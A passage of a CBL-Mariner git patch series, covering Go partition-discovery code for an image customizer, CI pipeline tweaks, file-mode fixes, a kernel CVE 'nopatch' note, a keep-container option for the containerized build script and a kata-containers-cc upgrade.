(*diskutils.PartitionInfo, error) { - tmpDir := filepath.Join(buildDir, tmpParitionDirName) - - // Temporarily mount the partition. - partitionMount, err := safemount.NewMount(bootPartition.Path, tmpDir, bootPartition.FileSystemType, 0, "", true) - if err != nil { - return nil, fmt.Errorf("failed to mount partition (%s):\n%w", bootPartition.Path, err) - } - defer partitionMount.Close() - - // Check if grub exists on the file system. - var rootfsPartition *diskutils.PartitionInfo - for _, grubCfgPath := range []string{"boot/grub2/grub.cfg", "grub2/grub.cfg"} { - grubCfgFullPath := filepath.Join(tmpDir, grubCfgPath) - - grubCfgExists, err := file.PathExists(grubCfgFullPath) - if err != nil { - return nil, fmt.Errorf("failed to stat file (%s):\n%w", grubCfgFullPath, err) - } - - if grubCfgExists { - rootfsPartition, err = findRootfsPartitionFromGrubCfgFile(grubCfgFullPath, diskPartitions) - if err != nil { - return nil, err - } - - break - } - } - - err = partitionMount.CleanClose() - if err != nil { - return nil, fmt.Errorf("failed to unmount partition (%s):\n%w", bootPartition.Path, err) - } - - return rootfsPartition, nil -} - -func findRootfsPartitionFromGrubCfgFile(grubCfgFilePath string, diskPartitions []diskutils.PartitionInfo) (*diskutils.PartitionInfo, error) { - // Read the grub.cfg file. - grubConfigFile, err := os.ReadFile(grubCfgFilePath) - if err != nil { - return nil, fmt.Errorf("failed to read grub.cfg file:\n%w", err) - } - - // Look for the root partition declaration line in the grub.cfg file. - match := rootfsPartitionRegex.FindStringSubmatch(string(grubConfigFile)) - if match == nil { - return nil, fmt.Errorf("failed to find rootfs partition in grub.cfg file") - } - - rootfsType := match[1] - rootfsId := match[2] - - // Search for the partition in the list of partitions. - var rootfsPartition *diskutils.PartitionInfo - for i := range diskPartitions { - diskPartition := diskPartitions[i] - - var found bool - switch rootfsType { - case "UUID": - found = diskPartition.Uuid == rootfsId - - case "PARTUUID": - found = diskPartition.PartUuid == rootfsId - - case "PARTLABEL": - found = diskPartition.PartLabel == rootfsId - - default: - return nil, fmt.Errorf("unknown rootdevice target type (%s) in grub.cfg (%s)", rootfsType, grubConfigFile) - } - - if found { - rootfsPartition = &diskPartition - break - } - } - - if rootfsPartition == nil { - return nil, fmt.Errorf("failed to find rootfs partition (%s=%s)", rootfsType, rootfsId) - } - - return rootfsPartition, nil -} - -func findMountsFromRootfs(rootfsPartition *diskutils.PartitionInfo, diskPartitions []diskutils.PartitionInfo, - buildDir string, -) ([]*safechroot.MountPoint, error) { - tmpDir := filepath.Join(buildDir, tmpParitionDirName) - - // Temporarily mount the rootfs partition so that the fstab file can be read. - rootfsPartitionMount, err := safemount.NewMount(rootfsPartition.Path, tmpDir, rootfsPartition.FileSystemType, 0, "", true) - if err != nil { - return nil, fmt.Errorf("failed to mount rootfs partition (%s):\n%w", rootfsPartition.Path, err) - } - defer rootfsPartitionMount.Close() - - // Read the fstab file. - fstabPath := filepath.Join(tmpDir, "/etc/fstab") - fstabEntries, err := diskutils.ReadFstabFile(fstabPath) - if err != nil { - return nil, err - } - - // Close the rootfs partition mount. - err = rootfsPartitionMount.CleanClose() - if err != nil { - return nil, fmt.Errorf("failed to close rootfs partition mount (%s):\n%w", rootfsPartition.Path, err) - } - - mountPoints, err := fstabEntriesToMountPoints(fstabEntries, diskPartitions) - if err != nil { - return nil, err - } - - return mountPoints, nil -} - -func fstabEntriesToMountPoints(fstabEntries []diskutils.FstabEntry, diskPartitions []diskutils.PartitionInfo) ([]*safechroot.MountPoint, error) { - // Convert fstab entries into mount points. - var mountPoints []*safechroot.MountPoint - var foundRoot bool - for _, fstabEntry := range fstabEntries { - // Ignore special partitions. - switch fstabEntry.FsType { - case "devtmpfs", "proc", "sysfs", "devpts", "tmpfs": - continue - } - - source, err := findSourcePartition(fstabEntry.Source, diskPartitions) - if err != nil { - return nil, err - } - - var mountPoint *safechroot.MountPoint - if fstabEntry.Target == "/" { - mountPoint = safechroot.NewPreDefaultsMountPoint( - source, fstabEntry.Target, fstabEntry.FsType, - uintptr(fstabEntry.Options), fstabEntry.FsOptions) - - foundRoot = true - } else { - mountPoint = safechroot.NewMountPoint( - source, fstabEntry.Target, fstabEntry.FsType, - uintptr(fstabEntry.Options), fstabEntry.FsOptions) - } - - mountPoints = append(mountPoints, mountPoint) - } - - if !foundRoot { - return nil, fmt.Errorf("image has invalid fstab file: no root partition found") - } - - return mountPoints, nil -} - -func findSourcePartition(source string, partitions []diskutils.PartitionInfo) (string, error) { - partUuid, isPartUuid := strings.CutPrefix(source, "PARTUUID=") - if isPartUuid { - for _, partition := range partitions { - if partition.PartUuid == partUuid { - return partition.Path, nil - } - } - - return "", fmt.Errorf("partition not found: %s", source) - } - - return "", fmt.Errorf("unknown fstab source type: %s", source) -} diff --git a/toolkit/tools/pkg/imagecustomizerlib/partitionutils.go b/toolkit/tools/pkg/imagecustomizerlib/partitionutils.go new file mode 100644 index 00000000000..30d08faba8b --- /dev/null +++ b/toolkit/tools/pkg/imagecustomizerlib/partitionutils.go @@ -0,0 +1,355 @@ +// Copyright (c) Microsoft Corporation. +// Licensed under the MIT License. + +package imagecustomizerlib + +import ( + "fmt" + "os" + "path/filepath" + "regexp" + "strings" + + "github.com/microsoft/CBL-Mariner/toolkit/tools/imagegen/diskutils" + "github.com/microsoft/CBL-Mariner/toolkit/tools/internal/file" + "github.com/microsoft/CBL-Mariner/toolkit/tools/internal/safechroot" + "github.com/microsoft/CBL-Mariner/toolkit/tools/internal/safemount" +) + +var ( + bootPartitionRegex = regexp.MustCompile(`(?m)^search -n -u ([a-zA-Z0-9\-]+) -s$`) + rootfsPartitionRegex = regexp.MustCompile(`(?m)^set rootdevice=([A-Z]*)=([a-zA-Z0-9\-]+)$`) +) + +func findPartitions(buildDir string, diskDevice string) ([]string, []*safechroot.MountPoint, error) { + var err error + + diskPartitions, err := diskutils.GetDiskPartitions(diskDevice) + if err != nil { + return nil, nil, err + } + + systemBootPartition, err := findSystemBootPartition(diskPartitions) + if err != nil { + return nil, nil, err + } + + var rootfsPartition *diskutils.PartitionInfo + + switch systemBootPartition.PartitionTypeUuid { + case diskutils.EfiSystemPartitionTypeUuid: + rootfsPartition, err = findRootfsPartitionFromEsp(systemBootPartition, diskPartitions, buildDir) + if err != nil { + return nil, nil, err + } + + case diskutils.BiosBootPartitionTypeUuid: + rootfsPartition, err = findRootfsPartitionFromBiosBootPartition(systemBootPartition, diskPartitions, buildDir) + if err != nil { + return nil, nil, err + } + } + + mountPoints, err := findMountsFromRootfs(rootfsPartition, diskPartitions, buildDir) + if err != nil { + return nil, nil, err + } + + return nil, mountPoints, nil +} + +func findSystemBootPartition(diskPartitions []diskutils.PartitionInfo) (*diskutils.PartitionInfo, error) { + // Look for all system boot partitions, including both EFI System Paritions (ESP) and BIOS boot partitions. + var bootPartitions []*diskutils.PartitionInfo + for i := range diskPartitions { + diskPartition := diskPartitions[i] + + switch diskPartition.PartitionTypeUuid { + case diskutils.EfiSystemPartitionTypeUuid, diskutils.BiosBootPartitionTypeUuid: + bootPartitions = append(bootPartitions, &diskPartition) + } + } + + if len(bootPartitions) > 1 { + return nil, fmt.Errorf("found more than one boot partition (ESP or BIOS boot parititon)") + } else if len(bootPartitions) < 1 { + return nil, fmt.Errorf("failed to find boot partition (ESP or BIOS boot parititon)") + } + + bootPartition := bootPartitions[0] + return bootPartition, nil +} + +func findRootfsPartitionFromEsp(efiSystemPartition *diskutils.PartitionInfo, diskPartitions []diskutils.PartitionInfo, buildDir string) (*diskutils.PartitionInfo, error) { + tmpDir := filepath.Join(buildDir, tmpParitionDirName) + + // Mount the EFI System Partition. + efiSystemPartitionMount, err := safemount.NewMount(efiSystemPartition.Path, tmpDir, efiSystemPartition.FileSystemType, 0, "", true) + if err != nil { + return nil, fmt.Errorf("failed to mount EFI system partition:\n%w", err) + } + defer efiSystemPartitionMount.Close() + + // Read the grub.cfg file. + grubConfigFilePath := filepath.Join(tmpDir, "boot/grub2/grub.cfg") + grubConfigFile, err := os.ReadFile(grubConfigFilePath) + if err != nil { + return nil, fmt.Errorf("failed to read grub.cfg file:\n%w", err) + } + + // Close the EFI System Partition mount. + err = efiSystemPartitionMount.CleanClose() + if err != nil { + return nil, fmt.Errorf("failed to close EFI system partition mount:\n%w", err) + } + + // Look for the bootloader partition declaration line in the grub.cfg file. + match := bootPartitionRegex.FindStringSubmatch(string(grubConfigFile)) + if match == nil { + return nil, fmt.Errorf("failed to find boot partition in grub.cfg file") + } + + bootPartitionUuid := match[1] + + var bootPartition *diskutils.PartitionInfo + for i := range diskPartitions { + diskPartition := diskPartitions[i] + + if diskPartition.Uuid == bootPartitionUuid { + bootPartition = &diskPartition + break + } + } + + if bootPartition == nil { + return nil, fmt.Errorf("failed to find boot partition with UUID (%s)", bootPartitionUuid) + } + + rootfsPartition, err := tryFindRootfsPartitionFromBootPartition(bootPartition, diskPartitions, buildDir) + if err != nil { + return nil, err + } + + if rootfsPartition == nil { + return nil, fmt.Errorf("failed to find rootfs partition using boot partition (%s)", bootPartition.Name) + } + + return rootfsPartition, nil +} + +func findRootfsPartitionFromBiosBootPartition(biosBootLoaderPartition *diskutils.PartitionInfo, + diskPartitions []diskutils.PartitionInfo, buildDir string, +) (*diskutils.PartitionInfo, error) { + + // The BIOS boot parition is just an executable blob that is uniquely built for each system/disk. + // So, there is not much that can be done to reliably extract the boot loader partition from it. + // So, instead, find the boot partition through brute force. + + var rootfsPartitions []*diskutils.PartitionInfo + for i := range diskPartitions { + diskPartition := diskPartitions[i] + + switch diskPartition.FileSystemType { + case "ext4", "vfat", "xfs": + + default: + // Skips file system types that aren't known to support the boot loader partition. + // (This list may be incomplete.) + continue + } + + rootfsPartition, err := tryFindRootfsPartitionFromBootPartition(&diskPartition, diskPartitions, buildDir) + if err != nil { + return nil, err + } + + if rootfsPartition != nil { + rootfsPartitions = append(rootfsPartitions, rootfsPartition) + } + } + + if len(rootfsPartitions) > 1 { + return nil, fmt.Errorf("found too many rootfs partition candidates (%d)", len(rootfsPartitions)) + } else if len(rootfsPartitions) < 1 { + return nil, fmt.Errorf("failed to find rootfs partition") + } + + rootfsPartition := rootfsPartitions[0] + return rootfsPartition, nil +} + +func tryFindRootfsPartitionFromBootPartition(bootPartition *diskutils.PartitionInfo, + diskPartitions []diskutils.PartitionInfo, buildDir string, +) (*diskutils.PartitionInfo, error) { + tmpDir := filepath.Join(buildDir, tmpParitionDirName) + + // Temporarily mount the partition. + partitionMount, err := safemount.NewMount(bootPartition.Path, tmpDir, bootPartition.FileSystemType, 0, "", true) + if err != nil { + return nil, fmt.Errorf("failed to mount partition (%s):\n%w", bootPartition.Path, err) + } + defer partitionMount.Close() + + // Check if grub exists on the file system. + var rootfsPartition *diskutils.PartitionInfo + for _, grubCfgPath := range []string{"boot/grub2/grub.cfg", "grub2/grub.cfg"} { + grubCfgFullPath := filepath.Join(tmpDir, grubCfgPath) + + grubCfgExists, err := file.PathExists(grubCfgFullPath) + if err != nil { + return nil, fmt.Errorf("failed to stat file (%s):\n%w", grubCfgFullPath, err) + } + + if grubCfgExists { + rootfsPartition, err = findRootfsPartitionFromGrubCfgFile(grubCfgFullPath, diskPartitions) + if err != nil { + return nil, err + } + + break + } + } + + err = partitionMount.CleanClose() + if err != nil { + return nil, fmt.Errorf("failed to unmount partition (%s):\n%w", bootPartition.Path, err) + } + + return rootfsPartition, nil +} + +func findRootfsPartitionFromGrubCfgFile(grubCfgFilePath string, diskPartitions []diskutils.PartitionInfo) (*diskutils.PartitionInfo, error) { + // Read the grub.cfg file. + grubConfigFile, err := os.ReadFile(grubCfgFilePath) + if err != nil { + return nil, fmt.Errorf("failed to read grub.cfg file:\n%w", err) + } + + // Look for the root partition declaration line in the grub.cfg file. + match := rootfsPartitionRegex.FindStringSubmatch(string(grubConfigFile)) + if match == nil { + return nil, fmt.Errorf("failed to find rootfs partition in grub.cfg file") + } + + rootfsType := match[1] + rootfsId := match[2] + + // Search for the partition in the list of partitions. + var rootfsPartition *diskutils.PartitionInfo + for i := range diskPartitions { + diskPartition := diskPartitions[i] + + var found bool + switch rootfsType { + case "UUID": + found = diskPartition.Uuid == rootfsId + + case "PARTUUID": + found = diskPartition.PartUuid == rootfsId + + case "PARTLABEL": + found = diskPartition.PartLabel == rootfsId + + default: + return nil, fmt.Errorf("unknown rootdevice target type (%s) in grub.cfg (%s)", rootfsType, grubConfigFile) + } + + if found { + rootfsPartition = &diskPartition + break + } + } + + if rootfsPartition == nil { + return nil, fmt.Errorf("failed to find rootfs partition (%s=%s)", rootfsType, rootfsId) + } + + return rootfsPartition, nil +} + +func findMountsFromRootfs(rootfsPartition *diskutils.PartitionInfo, diskPartitions []diskutils.PartitionInfo, + buildDir string, +) ([]*safechroot.MountPoint, error) { + tmpDir := filepath.Join(buildDir, tmpParitionDirName) + + // Temporarily mount the rootfs partition so that the fstab file can be read. + rootfsPartitionMount, err := safemount.NewMount(rootfsPartition.Path, tmpDir, rootfsPartition.FileSystemType, 0, "", true) + if err != nil { + return nil, fmt.Errorf("failed to mount rootfs partition (%s):\n%w", rootfsPartition.Path, err) + } + defer rootfsPartitionMount.Close() + + // Read the fstab file. + fstabPath := filepath.Join(tmpDir, "/etc/fstab") + fstabEntries, err := diskutils.ReadFstabFile(fstabPath) + if err != nil { + return nil, err + } + + // Close the rootfs partition mount. + err = rootfsPartitionMount.CleanClose() + if err != nil { + return nil, fmt.Errorf("failed to close rootfs partition mount (%s):\n%w", rootfsPartition.Path, err) + } + + mountPoints, err := fstabEntriesToMountPoints(fstabEntries, diskPartitions) + if err != nil { + return nil, err + } + + return mountPoints, nil +} + +func fstabEntriesToMountPoints(fstabEntries []diskutils.FstabEntry, diskPartitions []diskutils.PartitionInfo) ([]*safechroot.MountPoint, error) { + // Convert fstab entries into mount points. + var mountPoints []*safechroot.MountPoint + var foundRoot bool + for _, fstabEntry := range fstabEntries { + // Ignore special partitions. + switch fstabEntry.FsType { + case "devtmpfs", "proc", "sysfs", "devpts", "tmpfs": + continue + } + + source, err := findSourcePartition(fstabEntry.Source, diskPartitions) + if err != nil { + return nil, err + } + + var mountPoint *safechroot.MountPoint + if fstabEntry.Target == "/" { + mountPoint = safechroot.NewPreDefaultsMountPoint( + source, fstabEntry.Target, fstabEntry.FsType, + uintptr(fstabEntry.Options), fstabEntry.FsOptions) + + foundRoot = true + } else { + mountPoint = safechroot.NewMountPoint( + source, fstabEntry.Target, fstabEntry.FsType, + uintptr(fstabEntry.Options), fstabEntry.FsOptions) + } + + mountPoints = append(mountPoints, mountPoint) + } + + if !foundRoot { + return nil, fmt.Errorf("image has invalid fstab file: no root partition found") + } + + return mountPoints, nil +} + +func findSourcePartition(source string, partitions []diskutils.PartitionInfo) (string, error) { + partUuid, isPartUuid := strings.CutPrefix(source, "PARTUUID=") + if isPartUuid { + for _, partition := range partitions { + if partition.PartUuid == partUuid { + return partition.Path, nil + } + } + + return "", fmt.Errorf("partition not found: %s", source) + } + + return "", fmt.Errorf("unknown fstab source type: %s", source) +} From 663e2f8d7afd7e71ef491adb48d09cb293f7b40e Mon Sep 17 00:00:00 2001 From: Riken Maharjan <106988478+rikenm1@users.noreply.github.com> Date: Tue, 7 Nov 2023 13:40:44 -0800 Subject: [PATCH 10/34] Add retry workaround when Package Installation fail. (#6687) --- .pipelines/templates/PackageTestResultsAnalysis.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.pipelines/templates/PackageTestResultsAnalysis.yml b/.pipelines/templates/PackageTestResultsAnalysis.yml index eb06700d3ec..c7d3d1d1cea 100644 --- a/.pipelines/templates/PackageTestResultsAnalysis.yml +++ b/.pipelines/templates/PackageTestResultsAnalysis.yml @@ -43,6 +43,7 @@ steps: displayName: "Authenticate to custom pip artifact feeds" - bash: pip3 install junit_xml + retryCountOnTaskFailure: 3 displayName: "Install Python dependencies" - task: PythonScript@0 From f8dccaf140ae5bfe60aee16cd364d379f3ddaa1c Mon Sep 17 00:00:00 2001 From: nicolas guibourge Date: Tue, 7 Nov 2023 14:35:49 -0800 Subject: [PATCH 11/34] =?UTF-8?q?fix=20wrong=20rights=20for=20toolkit/imag?= =?UTF-8?q?econfigs/additionalconfigs/configure=E2=80=A6=20(#6690)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: CBL-Mariner Servicing Account --- .../imageconfigs/additionalconfigs/configure-systemd-networkd.sh | 0 1 file changed, 0 insertions(+), 0 deletions(-) mode change 100644 => 100755 toolkit/imageconfigs/additionalconfigs/configure-systemd-networkd.sh diff --git a/toolkit/imageconfigs/additionalconfigs/configure-systemd-networkd.sh b/toolkit/imageconfigs/additionalconfigs/configure-systemd-networkd.sh old mode 100644 new mode 100755 From 78f43889f78a0b54548d978b4822cdf9ae539459 Mon Sep 17 00:00:00 2001 From: CBL-Mariner-Bot <75509084+CBL-Mariner-Bot@users.noreply.github.com> Date: Tue, 7 Nov 2023 14:51:17 -0800 Subject: [PATCH 12/34] [AUTOPATCHER-kernel] Kernel CVE - branch main - CVE-2023-5717 (#6683) --- SPECS/kernel/CVE-2023-5717.nopatch | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 SPECS/kernel/CVE-2023-5717.nopatch diff --git a/SPECS/kernel/CVE-2023-5717.nopatch b/SPECS/kernel/CVE-2023-5717.nopatch new file mode 100644 index 00000000000..55c7707bcd0 --- /dev/null +++ b/SPECS/kernel/CVE-2023-5717.nopatch @@ -0,0 +1,3 @@ +CVE-2023-5717 - patched in 5.15.137.1 - (generated by autopatch tool) +upstream 32671e3799ca2e4590773fd0e63aaa4229e50c06 - stable 71d224acc4d1df1b61a294abee0f1032a9b03b40 + From cd114ea0a22a55c4df1d41b4cefb5a663f3a4179 Mon Sep 17 00:00:00 2001 From: Adub17030MS <110563293+Adub17030MS@users.noreply.github.com> Date: Tue, 7 Nov 2023 15:20:23 -0800 Subject: [PATCH 13/34] fix wrong rights for toolkit/imageconfigs/postinstallscripts/remove-tdnf-cache.sh (#6691) --- toolkit/imageconfigs/postinstallscripts/remove-tdnf-cache.sh | 0 1 file changed, 0 insertions(+), 0 deletions(-) mode change 100644 => 100755 toolkit/imageconfigs/postinstallscripts/remove-tdnf-cache.sh diff --git a/toolkit/imageconfigs/postinstallscripts/remove-tdnf-cache.sh b/toolkit/imageconfigs/postinstallscripts/remove-tdnf-cache.sh old mode 100644 new mode 100755 From 772da334ba7ee8e919850f8a9fda7f06a5c6d112 Mon Sep 17 00:00:00 2001 From: Riken Maharjan <106988478+rikenm1@users.noreply.github.com> Date: Wed, 8 Nov 2023 08:48:18 -0800 Subject: [PATCH 14/34] Add debug to PR check pipeline to debug intermittent issue (#6692) --- .pipelines/prchecks/PackageBuildPRCheck.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.pipelines/prchecks/PackageBuildPRCheck.yml b/.pipelines/prchecks/PackageBuildPRCheck.yml index 372335833a8..765d0ff4603 100644 --- a/.pipelines/prchecks/PackageBuildPRCheck.yml +++ b/.pipelines/prchecks/PackageBuildPRCheck.yml @@ -34,6 +34,8 @@ variables: value: RPMs - name: toolchainArtifactNameBase value: Toolchain + - name: system.debug + value: 'true' extends: template: v2/OneBranch.NonOfficial.CrossPlat.yml@templates From 5fc159878a4c599f36d455a6251ded077b4a417c Mon Sep 17 00:00:00 2001 From: Neha Agarwal <58672330+neha170@users.noreply.github.com> Date: Wed, 8 Nov 2023 09:47:05 -0800 Subject: [PATCH 15/34] containerized-build: Add option to keep container (#6659) --- toolkit/docs/building/developer-tools.md | 4 ++-- toolkit/scripts/containerized-build.mk | 4 ++++ .../scripts/containerized-build/create_container_build.sh | 7 +++++-- 3 files changed, 11 insertions(+), 4 deletions(-) diff --git a/toolkit/docs/building/developer-tools.md b/toolkit/docs/building/developer-tools.md index 858a4f5f4e4..0c0c5d3e1ec 100644 --- a/toolkit/docs/building/developer-tools.md +++ b/toolkit/docs/building/developer-tools.md @@ -3,9 +3,9 @@ ## containerized-rpmbuild -This [tool](./../../scripts/containerized-build/) enables the user to build/test a single Mariner package. It creates a Mariner container, either using the worker chroot as the fs or using upstream Mariner container (depending on the mode), and mounts SPECs, INTERMEDIATE_SRPMS, and out/RPMs from Mariner repository at repo_path (or the current Mariner repo) into the container. The user can choose whether to use locally built RPMs or upstream RPMs to satisfy build and runtime dependencies. One can use native rpm commands to build packages. Changes made to SPECS/ are synced to the host. All other changes are lost. Container is cleaned up upon exit. +This [tool](./../../scripts/containerized-build/) enables the user to build/test a single Mariner package. It creates a Mariner container, either using the worker chroot as the fs or using upstream Mariner container (depending on the mode), and mounts SPECs, INTERMEDIATE_SRPMS, and out/RPMs from Mariner repository at repo_path (or the current Mariner repo) into the container. The user can choose whether to use locally built RPMs or upstream RPMs to satisfy build and runtime dependencies. One can use native rpm commands to build packages. Changes made to SPECS/ are synced to the host. All other changes are lost. -The user can optionally add arguments. REPO_PATH defines directory to use as Mariner repo, default is current directory. MODE can be build (default) or test. Mariner VERSION may be 2.0 (default) or 1.0. MOUNTS specify directories to mount into the container, besides the default ones. BUILD_MOUNT defines directory to mount as build directory into container, default is $REPO_PATH/build. EXTRA_PACKAGES to install into container besides the default ones. ENABLE_REPO to use local RPMs to satisfy build depenedencies. In addition, user may override any Mariner make definitions e.g. SPECS_DIR, SRPM_PACK_LIST, etc. +The user can optionally add arguments. REPO_PATH defines directory to use as Mariner repo, default is current directory. MODE can be build (default) or test. Mariner VERSION may be 2.0 (default) or 1.0. MOUNTS specify directories to mount into the container, besides the default ones. BUILD_MOUNT defines directory to mount as build directory into container, default is $REPO_PATH/build. EXTRA_PACKAGES to install into container besides the default ones. ENABLE_REPO to use local RPMs to satisfy build depenedencies. KEEP_CONTAINER to keep container on exit. By default, it is cleaned up upon exit. In addition, user may override any Mariner make definitions e.g. SPECS_DIR, SRPM_PACK_LIST, etc. ```bash cd CBL-Mariner/toolkit diff --git a/toolkit/scripts/containerized-build.mk b/toolkit/scripts/containerized-build.mk index 72a9207e6a1..87a66c908c3 100644 --- a/toolkit/scripts/containerized-build.mk +++ b/toolkit/scripts/containerized-build.mk @@ -38,6 +38,10 @@ ifeq ($(ENABLE_REPO),y) containerized_build_args += -r endif +ifeq ($(KEEP_CONTAINER),y) +containerized_build_args += -k +endif + ##help:target:containerized-rpmbuild=Launch containerized shell for inner-loop RPM building/testing. containerized-rpmbuild: $(no_repo_acl) $(SCRIPTS_DIR)/containerized-build/create_container_build.sh $(containerized_build_args) diff --git a/toolkit/scripts/containerized-build/create_container_build.sh b/toolkit/scripts/containerized-build/create_container_build.sh index 58ec885b5cf..8d37638141f 100755 --- a/toolkit/scripts/containerized-build/create_container_build.sh +++ b/toolkit/scripts/containerized-build/create_container_build.sh @@ -23,7 +23,7 @@ print_error() { help() { echo " Usage: -sudo make containerized-rpmbuild [REPO_PATH=/path/to/CBL-Mariner] [MODE=test|build] [VERSION=1.0|2.0] [MOUNTS=/path/in/host:/path/in/container ...] [BUILD_MOUNT=/path/to/build/chroot/mount] [EXTRA_PACKAGES=pkg ...] [ENABLE_REPO=y] +sudo make containerized-rpmbuild [REPO_PATH=/path/to/CBL-Mariner] [MODE=test|build] [VERSION=1.0|2.0] [MOUNTS=/path/in/host:/path/in/container ...] [BUILD_MOUNT=/path/to/build/chroot/mount] [EXTRA_PACKAGES=pkg ...] [ENABLE_REPO=y] [KEEP_CONTAINER=y] Starts a docker container with the specified version of mariner. @@ -39,6 +39,7 @@ Optional arguments: Mountpoints will be ${BUILD_MOUNT}/container-build and ${BUILD_MOUNT}/container-buildroot. default: $REPO_PATH/build EXTRA_PACKAGES Space delimited list of packages to tdnf install in the container on startup. e.g. EXTRA_PACKAGES=\"pkg1 pkg2\" default: \"\" ENABLE_REPO: Set to 'y' to use local RPMs to satisfy package dependencies. default: n + KEEP_CONTAINER: Set to 'y' to not cleanup container upon exit. default: n * User can override Mariner make definitions. Some useful overrides could be SPECS_DIR: build specs from another directory like SPECS-EXTENDED by providing SPECS_DIR=path/to/SPECS-EXTENDED. default: $REPO_PATH/SPECS @@ -79,6 +80,7 @@ fi script_dir=$(realpath $(dirname "${BASH_SOURCE[0]}")) topdir=/usr/src/mariner enable_local_repo=false +keep_container="--rm" while (( "$#")); do case "$1" in @@ -89,6 +91,7 @@ while (( "$#")); do -b ) build_mount_dir="$(realpath $2)"; shift 2;; -ep ) extra_packages="$2"; shift 2;; -r ) enable_local_repo=true; shift ;; + -k ) keep_container=""; shift ;; -h ) help; exit 1 ;; ? ) echo -e "ERROR: INVALID OPTION.\n\n"; help; exit 1 ;; esac @@ -242,7 +245,7 @@ docker build -q \ echo "docker_image_tag is ${docker_image_tag}" -bash -c "docker run --rm \ +bash -c "docker run $keep_container\ ${mount_arg} \ -it ${docker_image_tag} /bin/bash; \ if [[ -d $RPMS_DIR/repodata ]]; then { rm -r $RPMS_DIR/repodata; echo 'Clearing repodata' ; }; fi From ee1937ea3082019f0617220c43696c250dc8686e Mon Sep 17 00:00:00 2001 From: Dallas Delaney <106280731+dallasd1@users.noreply.github.com> Date: Wed, 8 Nov 2023 10:00:40 -0800 Subject: [PATCH 16/34] Upgrade kata-containers-cc to 0.6.2 (#6564) Co-authored-by: Saul Paredes --- ...er-enable-feature-impl_trait_in_asso.patch | 24 --------- ...t-for-variables-that-are-not-mutated.patch | 54 ------------------- .../kata-containers-cc.signatures.json | 4 +- .../kata-containers-cc.spec | 11 ++-- cgmanifest.json | 6 +-- 5 files changed, 11 insertions(+), 88 deletions(-) delete mode 100644 SPECS/kata-containers-cc/0001-tardev-snapshotter-enable-feature-impl_trait_in_asso.patch delete mode 100644 SPECS/kata-containers-cc/drop-mut-for-variables-that-are-not-mutated.patch diff --git a/SPECS/kata-containers-cc/0001-tardev-snapshotter-enable-feature-impl_trait_in_asso.patch b/SPECS/kata-containers-cc/0001-tardev-snapshotter-enable-feature-impl_trait_in_asso.patch deleted file mode 100644 index 961aa6011e4..00000000000 --- a/SPECS/kata-containers-cc/0001-tardev-snapshotter-enable-feature-impl_trait_in_asso.patch +++ /dev/null @@ -1,24 +0,0 @@ -From 5fcf237c5dacff5e688b81e67d33823feb880140 Mon Sep 17 00:00:00 2001 -From: Muhammad Falak R Wani -Date: Thu, 14 Sep 2023 15:03:27 +0530 -Subject: [PATCH] tardev-snapshotter: enable feature(impl_trait_in_assoc_type) - to unblock build - -Signed-off-by: Muhammad Falak R Wani ---- - src/tardev-snapshotter/src/main.rs | 1 + - 1 file changed, 1 insertion(+) - -diff --git a/src/tardev-snapshotter/src/main.rs b/src/tardev-snapshotter/src/main.rs -index 5ca175b..10018a3 100644 ---- a/src/tardev-snapshotter/src/main.rs -+++ b/src/tardev-snapshotter/src/main.rs -@@ -1,4 +1,5 @@ - #![feature(type_alias_impl_trait)] -+#![feature(impl_trait_in_assoc_type)] - - use containerd_snapshots::server; - use log::{error, info, warn}; --- -2.40.1 - diff --git a/SPECS/kata-containers-cc/drop-mut-for-variables-that-are-not-mutated.patch b/SPECS/kata-containers-cc/drop-mut-for-variables-that-are-not-mutated.patch deleted file mode 100644 index 4ca736091a3..00000000000 --- a/SPECS/kata-containers-cc/drop-mut-for-variables-that-are-not-mutated.patch +++ /dev/null @@ -1,54 +0,0 @@ -From a17efe9e87d691bc4c0b7f3ef503096993f3a9d6 Mon Sep 17 00:00:00 2001 -From: Muhammad Falak R Wani -Date: Thu, 14 Sep 2023 16:10:09 +0530 -Subject: [PATCH 1/2] libs: kata-types: drop mut for vars that are immutable - -Signed-off-by: Muhammad Falak R Wani ---- - src/libs/kata-types/src/annotations/mod.rs | 4 ++-- - 1 file changed, 2 insertions(+), 2 deletions(-) - -diff --git a/src/libs/kata-types/src/annotations/mod.rs b/src/libs/kata-types/src/annotations/mod.rs -index 3af0563..db4e9f7 100644 ---- a/src/libs/kata-types/src/annotations/mod.rs -+++ b/src/libs/kata-types/src/annotations/mod.rs -@@ -470,8 +470,8 @@ impl Annotation { - let u32_err = io::Error::new(io::ErrorKind::InvalidData, "parse u32 error".to_string()); - let u64_err = io::Error::new(io::ErrorKind::InvalidData, "parse u64 error".to_string()); - let i32_err = io::Error::new(io::ErrorKind::InvalidData, "parse i32 error".to_string()); -- let mut hv = config.hypervisor.get_mut(hypervisor_name).unwrap(); -- let mut ag = config.agent.get_mut(agent_name).unwrap(); -+ let hv = config.hypervisor.get_mut(hypervisor_name).unwrap(); -+ let ag = config.agent.get_mut(agent_name).unwrap(); - for (key, value) in &self.annotations { - if hv.security_info.is_annotation_enabled(key) { - match key.as_str() { --- -2.40.1 - -From 10cdb83529c2135351e4a252b2d9aea85e6e7069 Mon Sep 17 00:00:00 2001 -From: Muhammad Falak R Wani -Date: Thu, 14 Sep 2023 16:26:44 +0530 -Subject: [PATCH 2/2] agent: singnal: drop mut for immutable var - -Signed-off-by: Muhammad Falak R Wani ---- - src/agent/src/signal.rs | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - -diff --git a/src/agent/src/signal.rs b/src/agent/src/signal.rs -index d67000b..401ded9 100644 ---- a/src/agent/src/signal.rs -+++ b/src/agent/src/signal.rs -@@ -57,7 +57,7 @@ async fn handle_sigchild(logger: Logger, sandbox: Arc>) -> Result - continue; - } - -- let mut p = process.unwrap(); -+ let p = process.unwrap(); - - let ret: i32 = match wait_status { - WaitStatus::Exited(_, c) => c, --- -2.40.1 - diff --git a/SPECS/kata-containers-cc/kata-containers-cc.signatures.json b/SPECS/kata-containers-cc/kata-containers-cc.signatures.json index 42a4117937c..33719d641e6 100644 --- a/SPECS/kata-containers-cc/kata-containers-cc.signatures.json +++ b/SPECS/kata-containers-cc/kata-containers-cc.signatures.json @@ -1,7 +1,7 @@ { "Signatures": { - "kata-containers-cc-0.6.1.tar.gz": 